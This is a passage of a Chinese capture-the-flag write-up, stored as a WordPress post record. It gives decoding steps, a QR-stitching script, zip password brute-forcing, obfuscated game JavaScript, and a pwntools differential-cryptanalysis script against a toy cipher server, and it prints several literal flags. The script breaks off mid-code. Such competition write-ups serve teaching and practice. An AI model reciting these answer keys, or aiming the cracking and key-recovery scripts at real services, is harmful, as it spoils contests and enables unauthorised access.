{"id":2127,"date":"2025-12-27T21:37:21","date_gmt":"2025-12-27T13:37:21","guid":{"rendered":"https:\/\/www.sanjiuctf.com\/?p=2127"},"modified":"2026-01-06T19:05:04","modified_gmt":"2026-01-06T11:05:04","slug":"%e7%ac%ac%e4%b8%83%e5%b1%8a%e9%87%91%e7%9b%be%e4%bf%a1%e5%ae%89%e6%9d%af%e9%87%8d%e8%b5%9bwp2025-12-27","status":"publish","type":"post","link":"https:\/\/www.sanjiuctf.com\/?p=2127","title":{"rendered":"\u7b2c\u4e03\u5c4a\u91d1\u76fe\u4fe1\u5b89\u676f\u91cd\u8d5bwp2025.12.27"},"content":{"rendered":"\n

\u524d\u8a00<\/h2>\n\n\n\n

\u6bd4\u4e0a\u4e00\u5468\u670d\u52a1\u5668\u574f\u4e86\u90a3\u65f6\u5019\u9898\u76ee\u8981\u96be\u70b9\uff0c\u6709\u70b9\u96be\u5ea6<\/p>\n\n\n\n

Misc<\/h2>\n\n\n\n

\u7b7e\u5230<\/h3>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
ZmxhZ3tmYjI0MzAyNS1kMjA0LTRlZGEtYjNkYy01MGZlZmExMDg5ZmR9<\/code><\/pre>\n\n\n\n
base64\u89e3\u7801\u5c31\u884c<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
flag{fb243025-d204-4eda-b3dc-50fefa1089fd}<\/code><\/pre>\n\n\n\n
data<\/h3>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u7528R-STUDIO \u8fdb\u884c\u6253\u5f00\u955c\u50cf \u7136\u540e\u626b\u63cf<\/p>\n\n\n\n
R-Studio<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u53ef\u4ee5\u53d1\u73b07z\u6587\u4ef6<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u6062\u590d\u6587\u4ef6<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u91cc\u9762\u670964\u5f20\u56fe\u7247<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u8fdb\u884c\u4e8c\u7ef4\u7801\u62fc\u63a5<\/p>\n\n\n\n
\u811a\u672c<\/p>\n\n\n\n
import os\nfrom pathlib import Path\nfrom PIL import Image\n\nINPUT_DIR = r\".\/all\"\nOUTPUT_DIR = r\".\/output\"\nGRID_SIZE = 4\nTILES_PER_QR = 16\n\ndef get_sorted_files(folder_path):\n    p = Path(folder_path)\n    if not p.exists():\n        print(f\"[\u9519\u8bef] \u627e\u4e0d\u5230\u6587\u4ef6\u5939: {folder_path}\")\n        return []\n\n    files = [f for f in p.iterdir() if f.is_file() and f.suffix.lower() == '.png']\n\n    files.sort(key=lambda x: (x.stat().st_mtime_ns, x.name))\n\n    return files\n\ndef stitch_qr(files_chunk, index):\n    images = [Image.open(f) for f in files_chunk]\n\n    width, height = images[0].size\n\n    result_img = Image.new('RGB', (width * GRID_SIZE, height * GRID_SIZE), (255, 255, 255))\n\n    for i, img in enumerate(images):\n        row = i \/\/ GRID_SIZE\n        col = i % GRID_SIZE\n\n        result_img.paste(img, (col * width, row * height))\n\n    return result_img\n\ndef main():\n    out_path = Path(OUTPUT_DIR)\n    out_path.mkdir(parents=True, exist_ok=True)\n\n    print(\"\u6b63\u5728\u8bfb\u53d6\u5e76\u6309\u4fee\u6539\u65f6\u95f4\u6392\u5e8f\u6587\u4ef6...\")\n    files = get_sorted_files(INPUT_DIR)\n\n    total_files = len(files)\n    print(f\"\u5171\u627e\u5230 {total_files} \u5f20\u56fe\u7247\u3002\")\n\n    if total_files == 0:\n        return\n\n    total_qrs = total_files \/\/ TILES_PER_QR\n\n    for i in range(total_qrs):\n        start_idx = i * TILES_PER_QR\n        end_idx = (i + 1) * TILES_PER_QR\n        chunk = files[start_idx:end_idx]\n\n        print(f\"\u6b63\u5728\u62fc\u63a5\u7b2c {i+1} \u5f20\u4e8c\u7ef4\u7801 (\u4f7f\u7528\u56fe\u7247 {start_idx+1} - {end_idx})...\")\n\n        try:\n            qr_image = stitch_qr(chunk, i)\n\n            save_name = out_path \/ f\"result_qr_{i+1}.png\"\n            qr_image.save(save_name)\n            print(f\"  -> \u5df2\u4fdd\u5b58: {save_name}\")\n\n        except Exception as e:\n            print(f\"  [!] \u62fc\u63a5\u7b2c {i+1} \u5f20\u65f6\u51fa\u9519: {e}\")\n\n    print(\"n\u62fc\u63a5\u5b8c\u6210\uff01\u8bf7\u67e5\u770b output \u6587\u4ef6\u5939\u3002\")\n    print(\"\u6839\u636e\u9898\u76ee\u63d0\u793a\uff0c\u8bf7\u91cd\u70b9\u626b\u63cf\u6700\u540e\u4e00\u5f20\u4e8c\u7ef4\u7801\u3002\")\n\nif __name__ == \"__main__\":\n    main()<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u626b\u63cf\u4e8c\u7ef4\u7801<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
K5LGIS2TGBIXSVKEJJKVCVJRJBKGW4CZKNDFUSKUIVTTAUSWIJFFC2SWKZLFKWTBK5LGIWSVGFUFKVTKJF4VO3DIIZLFMULZKIYGG6KRKVCXSVLKLJDFKVSGIRLDCVSKKZDHAUCTKZSEUV2GJZMU4222IJLEMZCTKMYFUS2XKVDFOVCVOBFFE2S2JBKWYVSTKBKDAOKQKQYDS===<\/code><\/pre>\n\n\n\n
\u89e3\u7801\u6d41\u7a0b<\/p>\n\n\n\n
base32–> base64 –> rot13 –> base32 –> base64<\/p>\n\n\n\n
base32:WVdKS0QyUDJUQU1HTkpYSFZITEg0RVBJQjVVVUZaWVdZU1hUVjIyWlhFVVQyR0cyQUEyUjZFUVFDV1VJVFpPSVdJWFNYNkZBVFdSS0ZKWUFWTUpJRjZHUlVSPT09PT09<\/code><\/pre>\n\n\n\n
base64:YWJKD2P2TAMGNJXHVHLH4EPIB5UUFZYWYSXTV22ZXEUT2GG2AA2R6EQQCWUITZOIWIXSX6FATWRKFJYAVMJIF6GRUR======<\/code><\/pre>\n\n\n\n
rot13:LJWXQ2C2GNZTAWKUIUYU4RCVO5HHSMLJLFKGI22MKRHG2TT2NN2E6RDDPJHVGMBVJVKFK6SNGJEXSWLNIZWVS6TEHE======<\/code><\/pre>\n\n\n\n
base32:ZmxhZ3s0YTE1NDUwNy1iYTdkLTNmNzktODczOS05MTUzM2IyYmFmYzd9<\/code><\/pre>\n\n\n\n
base64:flag{4a154507-ba7d-3f79-8739-91533b2bafc7}<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
flag{4a154507-ba7d-3f79-8739-91533b2bafc7}<\/code><\/pre>\n\n\n\n
\u82f1\u52c7\u6295\u5f39\u624b<\/h3>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u6709\u4e00\u4e2azip\u8fdb\u884c\u7206\u7834ARCHPR<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u7528\u62c5\u4fddwinZIP\u6062\u590d<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
CyhUkh8a<\/code><\/pre>\n\n\n\n
\u8fdb\u5165\u540e\u662f\u4e00\u4e2a\u6e38\u620f\u770bjs\u4ee3\u7801<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u901a\u8fc7\u67e5\u770b\u4e3b\u8981\u5165\u53e3\u6587\u4ef6 game.js<\/code>\uff0c\u53d1\u73b0\u5b83\u5f15\u5165\u4e86 player.js<\/code>, bullet.js<\/code>, enemy.js<\/code> \u7b49\u6a21\u5757\uff0c\u4f46\u552f\u72ec\u6ca1\u6709\u5f15\u5165 core.js<\/code><\/strong>\u3002<\/p>\n\n\n\n
\u770bcore.js<\/p>\n\n\n\n
(function (_0x308471, _0x5643fe) {\n    const _0x5a606a = _0x2460, _0x33a4a5 = _0x308471();\n    while (!![]) {\n        try {\n            const _0x2afb4f = parseInt(_0x5a606a(0x1b3)) \/ (-0x19c * -0xd + -0xe77 + -0x674) * (-parseInt(_0x5a606a(0x1b7)) \/ (0xb5 * 0x5 + 0x133f + -0x2 * 0xb63)) + -parseInt(_0x5a606a(0x1ba)) \/ (-0x2644 + -0x68b + 0x2cd2) + parseInt(_0x5a606a(0x1bf)) \/ (0x66 + 0x46d + -0x4cf) + parseInt(_0x5a606a(0x1b5)) \/ (-0x32e + 0x2683 + -0x2350) + parseInt(_0x5a606a(0x1b4)) \/ (0x513 * 0x1 + 0x1cce + -0x1b * 0x141) + parseInt(_0x5a606a(0x1bb)) \/ (0x1710 + 0x638 + -0x1 * 0x1d41) + -parseInt(_0x5a606a(0x1bd)) \/ (0x19 * 0x105 + -0xe * 0x193 + -0x36b);\n            if (_0x2afb4f === _0x5643fe)\n                break;\n            else\n                _0x33a4a5['push'](_0x33a4a5['shift']());\n        } catch (_0x5220d0) {\n            _0x33a4a5['push'](_0x33a4a5['shift']());\n        }\n    }\n}(_0x2f3d, -0x9dc5 + 0xf * 0x18fc + 0x49c84));\nlet k = 0x166c + -0x7 * -0x4cf + -0x1 * 0x357b;\nfunction _0x2460(_0x111017, _0x5efafa) {\n    const _0x2f1f50 = _0x2f3d();\n    return _0x2460 = function (_0x2f7d39, _0x466e46) {\n        _0x2f7d39 = _0x2f7d39 - (0x256e + -0x1a4d + -0x96e * 0x1);\n        let _0x2b3801 = _0x2f1f50[_0x2f7d39];\n        return _0x2b3801;\n    }, _0x2460(_0x111017, _0x5efafa);\n}\nfunction core() {\n    const _0x47b80f = _0x2460, _0x3074a9 = {\n            'gFKKr': function (_0xe55803, _0xa329bf) {\n                return _0xe55803 === _0xa329bf;\n            },\n            'HPqhV': _0x47b80f(0x1b6) + _0x47b80f(0x1b8) + _0x47b80f(0x1be) + 'a3'\n        };\n    if (_0x3074a9[_0x47b80f(0x1b9)](k, -0x295 * 0xf + -0x1 * 0x134b + -0x1 * -0x41ef))\n        return _0x3074a9[_0x47b80f(0x1bc)];\n}\nfunction _0x2f3d() {\n    const _0x239d05 = [\n        '3088265aLnAAu',\n        '873bf00c57',\n        '25372BhvWzP',\n        '7c3f7bbf99',\n        'gFKKr',\n        '821466gZMlek',\n        '2569812BGsTZj',\n        'HPqhV',\n        '4040648FCWnre',\n        '76849b468b',\n        '1006744yccwII',\n        '25COywAc',\n        '1304166xohEjZ'\n    ];\n    _0x2f3d = function () {\n        return _0x239d05;\n    };\n    return _0x2f3d();\n}<\/code><\/pre>\n\n\n\n
\u5b9a\u4f4d\u5173\u952e\u4ee3\u7801<\/strong>\uff1a
\u5728 core.js<\/code> \u4e2d\uff0c\u6709\u4e00\u4e2a\u540d\u4e3a core<\/code> \u7684\u51fd\u6570\uff1a<\/p>\n\n\n\n
function core() {\n    const _0x47b80f = _0x2460, \/\/ \u8fd9\u662f\u4e00\u4e2a\u89e3\u5bc6\/\u83b7\u53d6\u5b57\u7b26\u4e32\u7684\u51fd\u6570\n    _0x3074a9 = {\n        \/\/ ...\n        \/\/ flag \u7684\u62fc\u63a5\u903b\u8f91\uff1aPart1 + Part2 + Part3 + 'a3'\n        'HPqhV': _0x47b80f(0x1b6) + _0x47b80f(0x1b8) + _0x47b80f(0x1be) + 'a3'\n    };\n    \/\/ ...\n    return _0x3074a9[_0x47b80f(0x1bc)]; \/\/ \u8fd4\u56de\u62fc\u63a5\u597d\u7684 flag\n}<\/code><\/pre>\n\n\n\n
HPqhV<\/code> \u8fd9\u4e2a\u5c5e\u6027\u7684\u503c\u662f\u7531\u4e09\u6bb5\u52a0\u5bc6\u5b57\u7b26\u4e32\u89e3\u5bc6\u540e\uff0c\u518d\u52a0\u4e0a\u540e\u7f00 'a3'<\/code> \u62fc\u63a5\u800c\u6210\u7684\u3002<\/p>\n\n\n\n
JavaScript \u662f\u89e3\u91ca\u578b\u8bed\u8a00\uff0c\u4e14\u8fd9\u6bb5\u4ee3\u7801\u4e0d\u4f9d\u8d56 DOM \u5143\u7d20\uff0c\u6211\u4eec\u53ef\u4ee5\u76f4\u63a5\u5728\u6d4f\u89c8\u5668\u63a7\u5236\u53f0\u6267\u884c\u8be5\u6587\u4ef6\u6765\u8fd8\u539f\u903b\u8f91\uff0c\u800c\u65e0\u9700\u624b\u52a8\u9006\u5411\u590d\u6742\u7684\u6570\u7ec4\u79fb\u4f4d\u7b97\u6cd5\u3002<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u628a\u6e38\u620f\u6587\u4ef6\u653e\u5728\u672c\u5730\u670d\u52a1\u5668\u76f4\u63a5\u8fd0\u884c\u5c31\u884c\u6216\u8005\u628a\u8fd9\u4e2aJS\u7ed9AI\u8f85\u52a9\u5206\u6790\u76f4\u63a5\u51fa<\/p>\n\n\n\n
\u63a7\u5236\u53f0<\/strong><\/p>\n\n\n\n
\u76f4\u63a5\u8c03\u7528\u5c31\u884c<\/p>\n\n\n\n
core()<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
flag{873bf00c577c3f7bbf9976849b468ba3}<\/code><\/pre>\n\n\n\n
Crypto<\/h2>\n\n\n\n
Classic<\/h3>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u7b2c\u4e00\u4e2a\u662f\u590f\u591a\u5bc6\u7801\/\u66f2\u6298\u5bc6\u7801 \u8df3\u821e\u7684\u5c0f\u4eba \u5723\u6bbf\u9a91\u58eb\u5bc6\u7801 \u5916\u661f\u4eba\u5bc6\u7801<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
C1ASSicaICRYPT03ASY<\/p>\n\n\n\n
\u5168\u90e8\u5c0f\u5199<\/p>\n\n\n\n
flag{c1assicalcrypt03asy}<\/code><\/pre>\n\n\n\n
CathylinFour++<\/h3>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
server.py<\/p>\n\n\n\n
#!\/usr\/bin\/env python3\nimport os\nimport random\nimport socket\nimport socketserver\nimport argparse\n\ndef load_flag():\n    for p in (\"\/flag\", \".\/flag.txt\"):\n        if os.path.exists(p):\n            with open(p, \"r\", encoding=\"utf-8\") as f:\n                return f.read().strip()\n    return \"flag{test_flag}\"\n\nFLAG = load_flag()\n\nclass CathylinFourPlus:\n    def __init__(self, r, key):\n        self.r = r\n        self.S = (0xC, 0x5, 0x6, 0xB,\n                  0x9, 0x0, 0xA, 0xD,\n                  0x3, 0xE, 0xF, 0x8,\n                  0x4, 0x7, 0x1, 0x2)\n        self.P = (0, 5, 10, 15,\n                  4, 9, 14, 3,\n                  8, 13, 2, 7,\n                  12, 1, 6, 11)\n        self.RC = (0x0F0F, 0x3333, 0x55AA)\n        self.key = key\n        assert len(key) == self.r + 1\n\n    @staticmethod\n    def deblock(m):\n        return [(m >> 12) & 0xF, (m >> 8) & 0xF, (m >> 4) & 0xF, m & 0xF]\n\n    @staticmethod\n    def block(nibbles):\n        return (nibbles[0] << 12) | (nibbles[1] << 8) | (nibbles[2] << 4) | nibbles[3]\n\n    def s_layer(self, x):\n        n = self.deblock(x)\n        n = [self.S[i] for i in n]\n        return self.block(n)\n\n    def permute_bits(self, x):\n        bits = [(x >> (15 - i)) & 1 for i in range(16)]\n        new_bits = [0] * 16\n        for i in range(16):\n            new_bits[self.P[i]] = bits[i]\n        out = 0\n        for b in new_bits:\n            out = (out << 1) | b\n        return out & 0xFFFF\n\n    def encrypt(self, m):\n        p = m & 0xFFFF\n        for t in range(self.r - 1):\n            p ^= self.key[t]\n            p ^= self.RC[t]\n            p = self.s_layer(p)\n            p = self.permute_bits(p)\n        p ^= self.key[self.r - 1]\n        p ^= self.RC[self.r - 1]\n        p = self.s_layer(p)\n        c = p ^ self.key[-1]\n        return c & 0xFFFF\n\ndef parse_hex16(s: str) -> int:\n    s = s.strip().lower()\n    if s.startswith(\"0x\"):\n        s = s[2:]\n    if not (1 <= len(s) <= 4) or any(ch not in \"0123456789abcdef\" for ch in s):\n        raise ValueError(\"bad hex\")\n    return int(s, 16) & 0xFFFF\n\ndef serve_one_client(rfile, wfile):\n    # \u6bcf\u8fde\u63a5\u968f\u673a key \/ mask\n    r = 3\n    key = [random.getrandbits(16) for _ in range(r + 1)]\n    enc = CathylinFourPlus(r, key)\n    mask = random.getrandbits(16)\n\n    def wln(msg=\"\"):\n        wfile.write((msg + \"n\").encode())\n        wfile.flush()\n\n    def write_prompt():\n        wfile.write(b\"Your input: \")\n        wfile.flush()\n\n    wln(\"=== CathylinFour++ (SPN 16-bit) ===\")\n    wln(\"Input: hex (e.g. 0x1234). Commands: h\/help, k, q\")\n    wln(f\"mask = 0x{mask:04x}\")\n    wln(\"Goal: submit (K3 ^ mask) to get the flag.\")\n    wln(\"----------------------------------\")\n\n    qcnt = 0\n    QMAX = 4096\n\n    while True:\n        write_prompt()\n        line = rfile.readline()\n        if not line:\n            break\n        x = line.decode(errors=\"ignore\").strip().lower()\n\n        if x in (\"q\", \"quit\", \"exit\"):\n            wln(\"Bye.\")\n            break\n\n        if x in (\"h\", \"help\", \"?\"):\n            wln(\"Commands:\")\n            wln(\"  <hex>   encrypt a 16-bit block, e.g. 0x1234\")\n            wln(\"  k       submit key proof (K3 ^ mask)\")\n            wln(\"  q       quit\")\n            continue\n\n        if x == \"k\":\n            wfile.write(b\"Your key proof (hex): \")\n            wfile.flush()\n            ki = rfile.readline()\n            if not ki:\n                break\n            try:\n                proof = parse_hex16(ki.decode(errors=\"ignore\"))\n            except Exception:\n                wln(\"Bad format. Bye.\")\n                break\n\n            if proof == (key[-1] ^ mask):\n                wln(\"You can smile: \" + FLAG)\n            else:\n                wln(\"Wrong. Bye.\")\n            break\n\n        try:\n            a = parse_hex16(x)\n        except Exception:\n            wln(\"Bad format. Tips: 0x???? (1~4 hex digits).\")\n            continue\n\n        qcnt += 1\n        if qcnt > QMAX:\n            wln(\"Too many queries. Bye.\")\n            break\n\n        c = enc.encrypt(a)\n        wln(\"Output: \" + f\"0x{c:04x}\")\n\nclass ThreadedTCPServer(socketserver.ThreadingMixIn, socketserver.TCPServer):\n    allow_reuse_address = True\n    daemon_threads = True\n\nclass Handler(socketserver.BaseRequestHandler):\n    def handle(self):\n        # \u6bcf\u8fde\u63a5\u8d85\u65f6\uff1a\u9632\u6b62\u6302\u6b7b\u5360\u7528\u7ebf\u7a0b\n        self.request.settimeout(60)\n        rfile = self.request.makefile(\"rb\", buffering=0)\n        wfile = self.request.makefile(\"wb\", buffering=0)\n        try:\n            serve_one_client(rfile, wfile)\n        except (socket.timeout, BrokenPipeError, ConnectionResetError):\n            pass\n        finally:\n            try:\n                rfile.close()\n            except Exception:\n                pass\n            try:\n                wfile.close()\n            except Exception:\n                pass\n\ndef main():\n    ap = argparse.ArgumentParser()\n    ap.add_argument(\"--listen\", default=None, help=\"listen address, e.g. 0.0.0.0\")\n    ap.add_argument(\"--port\", type=int, default=37344)\n    args = ap.parse_args()\n\n    if args.listen:\n        with ThreadedTCPServer((args.listen, args.port), Handler) as srv:\n            srv.serve_forever()\n    else:\n        # \u672c\u5730 stdin\/stdout \u5355\u673a\u8c03\u8bd5\u6a21\u5f0f\n        import sys\n        serve_one_client(sys.stdin.buffer, sys.stdout.buffer)\n\nif __name__ == \"__main__\":\n    main()\n<\/code><\/pre>\n\n\n\n
\u9898\u76ee\u5b9e\u73b0\u4e86\u4e00\u4e2a\u81ea\u5b9a\u4e49\u7684 16-bit SPN (Substitution-Permutation Network)<\/strong> \u5206\u7ec4\u5bc6\u7801\u3002<\/p>\n\n\n\n
\u7ed3\u6784<\/strong>\uff1aSPN \u7ed3\u6784\uff0c\u5206\u7ec4\u957f\u5ea6 16 \u4f4d\u3002<\/p>\n\n\n\n
\u8f6e\u6570<\/strong>\uff1a3 \u8f6e (r=3r=3)\u3002<\/p>\n\n\n\n
\u7ec4\u4ef6<\/p>\n\n\n\n
    \n
  • S-layer<\/strong>\uff1a4\u4e2a 4-bit S-box \u5e76\u884c\u66ff\u6362\u3002<\/li>\n\n\n\n
  • P-layer<\/strong>\uff1a16-bit \u6bd4\u7279\u7f6e\u6362\u3002<\/li>\n\n\n\n
  • RoundKey<\/strong>\uff1a\u6bcf\u8f6e\u5f02\u6216 16-bit \u8f6e\u5bc6\u94a5\u3002<\/li>\n<\/ul>\n\n\n\n
    \u52a0\u5bc6\u6d41\u7a0b<\/p>\n\n\n\n
    Round 0 & 1\uff1aAddKey \u2192\u2192 S-layer \u2192\u2192 P-layer\nRound 2 (\u6700\u540e\u4e00\u8f6e)\uff1aAddKey \u2192\u2192 S-layer \u2192\u2192 AddKey (Output)\n\u6ce8\u610f\uff1a\u6700\u540e\u4e00\u8f6e\u6ca1\u6709 P-layer\uff0c\u4e14\u76f4\u63a5\u8f93\u51fa\u5bc6\u6587\u3002\n\u6062\u590d\u6700\u540e\u4e00\u8f6e\u7684\u5b50\u5bc6\u94a5 K3K3\uff0c\u63d0\u4ea4 proof = K3 ^ mask`\u83b7\u53d6 flag\u5c31\u884c<\/code><\/pre>\n\n\n\n
    \u89e3\u5bc6<\/strong><\/p>\n\n\n\n
    \u5dee\u5206\u5206\u6790 (Differential Cryptanalysis)<\/strong>\u3002<\/p>\n\n\n\n
    \u7531\u4e8e\u5206\u7ec4\u957f\u5ea6\u4ec5 16 \u4f4d\u4e14\u53ea\u6709 3 \u8f6e\uff0c\u6211\u4eec\u53ef\u4ee5\u5229\u7528\u5dee\u5206\u7279\u6027\u8f7b\u677e\u7a7f\u900f\u524d\u4e24\u8f6e\uff0c\u653b\u51fb\u6700\u540e\u4e00\u8f6e\u3002<\/code><\/pre>\n\n\n\n
    \u5bfb\u627e\u5dee\u5206\u8def\u5f84<\/strong><\/p>\n\n\n\n
    \u6211\u4eec\u9700\u8981\u627e\u5230\u4e00\u6761\u7a7f\u8d8a\u524d\u4e24\u8f6e\u7684\u9ad8\u6982\u7387\u5dee\u5206\u8def\u5f84\u3002\n\u65b9\u6cd5\uff1a\u7531\u4e8e 16 \u4f4d\u7a7a\u95f4\u5f88\u5c0f (216=65536216=65536)\uff0c\u76f4\u63a5\u5199\u4ee3\u7801\u6a21\u62df\u524d\u4e24\u8f6e\uff0c**\u7a77\u4e3e**\u6240\u6709\u53ef\u80fd\u7684\u8f93\u5165\u5dee\u5206\uff0c\u8ba1\u7b97\u51fa\u5230\u8fbe\u6700\u540e\u4e00\u8f6e S \u76d2\u524d\u7684\u7cbe\u786e\u5dee\u5206\u5206\u5e03\u3002\n\u7ed3\u679c\uff1a\u7b5b\u9009\u51fa 4 \u6761\u9ad8\u6982\u7387\u8def\u5f84\uff08\u4f8b\u5982\u8f93\u5165\u5dee\u5206 `0x0001`\u3001`0x0002` \u7b49\uff09\uff0c\u786e\u4fdd\u80fd\u8986\u76d6\u6240\u6709 4 \u4e2a S \u76d2\u3002<\/code><\/pre>\n\n\n\n
    \u6570\u636e\u91c7\u96c6<\/strong><\/p>\n\n\n\n
    \u6839\u636e\u7b5b\u9009\u51fa\u7684\u8def\u5f84\uff0c\u5411\u670d\u52a1\u5668\u53d1\u8d77\u67e5\u8be2\u3002\n\u6784\u9020\uff1a\u751f\u6210\u968f\u673a\u660e\u6587 P1P1 \u548c P2=P1\u2295\u0394inP2=P1\u2295\u0394in\u3002\n\u4ea4\u4e92\uff1a\u53d1\u9001\u7ed9\u670d\u52a1\u5668\uff0c\u83b7\u53d6\u5bc6\u6587\u5bf9 C1,C2C1,C2\u3002\n\u6570\u91cf\uff1a\u603b\u5171\u91c7\u96c6\u7ea6 2000 \u5bf9\u5bc6\u6587\uff0c\u5206\u914d\u7ed9\u4e0d\u540c\u7684\u8def\u5f84\u3002<\/code><\/pre>\n\n\n\n
    \u5bc6\u94a5\u6062\u590d<\/strong><\/p>\n\n\n\n
    \u653b\u51fb\u6700\u540e\u4e00\u8f6e\u7684 S \u76d2\u6765\u6062\u590d K3K3\u3002<\/p>\n\n\n\n
    \u539f\u7406<\/strong>\uff1a\u5bf9\u4e8e\u6b63\u786e\u7684\u5bc6\u94a5 kk\uff0c\u89e3\u5bc6\u6700\u540e\u4e00\u5c42 S \u76d2\u540e\uff0c\u5176\u5dee\u5206\u5e94\u7b49\u4e8e\u6211\u4eec\u9884\u8ba1\u7b97\u7684\u671f\u671b\u5dee\u5206 \u0394expected\u0394expected\u3002<\/p>\n\n\n\n
    S\u22121(C1\u2295k)\u2295S\u22121(C2\u2295k)==\u0394expectedS\u22121(C1\u2295k)\u2295S\u22121(C2\u2295k)==\u0394expected<\/p>\n\n\n\n
    \u64cd\u4f5c<\/p>\n\n\n\n
      \n
    1. \u628a K3K3 \u5206\u6210 4 \u4e2a\u534a\u5b57\u8282 (Nibble) \u72ec\u7acb\u7834\u89e3\u3002<\/li>\n\n\n\n
    2. \u5bf9\u6bcf\u4e2a\u534a\u5b57\u8282\u904d\u5386\u731c\u6d4b 0~15\u3002<\/li>\n\n\n\n
    3. \u7edf\u8ba1\u54ea\u4e2a\u731c\u6d4b\u503c\u6ee1\u8db3\u5dee\u5206\u516c\u5f0f\u7684\u6b21\u6570\u6700\u591a\uff08\u6295\u7968\u6cd5\uff09\u3002<\/li>\n\n\n\n
    4. \u591a\u8def\u5f84\u6295\u7968<\/strong>\uff1a\u7efc\u5408 4 \u6761\u8def\u5f84\u7684\u6295\u7968\u7ed3\u679c\uff0c\u5f97\u7968\u6700\u9ad8\u7684\u5373\u4e3a\u6b63\u786e\u5bc6\u94a5\u3002<\/li>\n<\/ol>\n\n\n\n
      py3\u811a\u672c<\/p>\n\n\n\n
      #!\/usr\/bin\/env python3\nimport sys\nimport random\nfrom pwn import *\n\nS = (0xC, 0x5, 0x6, 0xB, 0x9, 0x0, 0xA, 0xD, 0x3, 0xE, 0xF, 0x8, 0x4, 0x7, 0x1, 0x2)\nP_BOX = (0, 5, 10, 15, 4, 9, 14, 3, 8, 13, 2, 7, 12, 1, 6, 11)\n\nINV_S = [0] * 16\nfor i, x in enumerate(S): INV_S[x] = i\n\ndef deblock(m):\n    return [(m >> 12) & 0xF, (m >> 8) & 0xF, (m >> 4) & 0xF, m & 0xF]\n\ndef block(nibbles):\n    return (nibbles[0] << 12) | (nibbles[1] << 8) | (nibbles[2] << 4) | nibbles[3]\n\ndef permute_bits(x):\n    bits = [(x >> (15 - i)) & 1 for i in range(16)]\n    new_bits = [0] * 16\n    for i in range(16): new_bits[P_BOX[i]] = bits[i]\n    out = 0\n    for b in new_bits: out = (out << 1) | b\n    return out & 0xFFFF\n\ndef s_layer(x):\n    n = deblock(x)\n    n = [S[i] for i in n]\n    return block(n)\n\ndef get_diff_distribution(din):\n    counts = {}\n    for x in range(65536):\n        y = x ^ din\n        x_r0 = permute_bits(s_layer(x))\n        y_r0 = permute_bits(s_layer(y))\n        x_r1 = permute_bits(s_layer(x_r0))\n        y_r1 = permute_bits(s_layer(y_r0))\n        dout = x_r1 ^ y_r1\n        counts[dout] = counts.get(dout, 0) + 1\n    return counts\n\ndef find_robust_paths():\n    log.info(\"Computing robust differential paths...\")\n    candidates = [0x0001, 0x0002, 0x0004, 0x0008, 0x0010, 0x0020, 0x0040, 0x0080]\n    paths = []\n\n    for din in candidates:\n        dist = get_diff_distribution(din)\n        best_dout = max(dist, key=dist.get)\n        prob = dist[best_dout] \/ 65536.0\n\n        if prob > 0.008:\n            active = deblock(best_dout)\n            targets = [i for i, v in enumerate(active) if v != 0]\n            if targets:\n                paths.append({\n                    'din': din,\n                    'dout': best_dout,\n                    'prob': prob,\n                    'targets': targets,\n                    'exp_nibbles': active\n                })\n\n    paths.sort(key=lambda x: x['prob'], reverse=True)\n    return paths[:4]\n\ndef solve():\n    paths = find_robust_paths()\n    if not paths:\n        log.error(\"Failed to find paths.\")\n        return\n\n    log.info(f\"Using {len(paths)} concurrent paths to eliminate false positives.\")\n\n    host = '123.57.26.77'\n    port = 30341\n    if len(sys.argv) > 1:\n        try:\n            port = int(sys.argv[1])\n        except:\n            log.error(\"Usage: python solve.py <PORT>\")\n            return\n\n    try:\n        io = remote(host, port)\n    except Exception as e:\n        log.error(f\"Failed to connect to {host}:{port}. The port may have changed.\")\n        log.info(\"Please check the challenge info for the new port and run: python solve.py <NEW_PORT>\")\n        return\n\n    io.recvuntil(b\"mask = \")\n    mask = int(io.recvline().decode().strip(), 16)\n    log.success(f\"Mask: 0x{mask:04x}\")\n    io.recvuntil(b\"Goal:\")\n\n    TOTAL_PAIRS = 2000\n    pairs_per_path = TOTAL_PAIRS \/\/ len(paths)\n\n    global_votes = [[0]*16 for _ in range(4)]\n\n    for i, p in enumerate(paths):\n        din = p['din']\n        log.info(f\"Path {i+1}: Din 0x{din:04x} -> Targets {p['targets']} ({pairs_per_path} pairs)\")\n\n        pairs = []\n        for _ in range(pairs_per_path):\n            p1 = random.randint(0, 0xFFFF)\n            p2 = p1 ^ din\n\n            io.sendlineafter(b\"Your input: \", f\"0x{p1:04x}\".encode())\n            io.recvuntil(b\"Output: \")\n            c1 = int(io.recvline().strip(), 16)\n\n            io.sendlineafter(b\"Your input: \", f\"0x{p2:04x}\".encode())\n            io.recvuntil(b\"Output: \")\n            c2 = int(io.recvline().strip(), 16)\n            pairs.append((c1, c2))\n\n        for nib_idx in p['targets']:\n            tgt_diff = p['exp_nibbles'][nib_idx]\n            shift = 12 - (nib_idx * 4)\n            for k in range(16):\n                hits = 0\n                for c1, c2 in pairs:\n                    n1 = (c1 >> shift) & 0xF\n                    n2 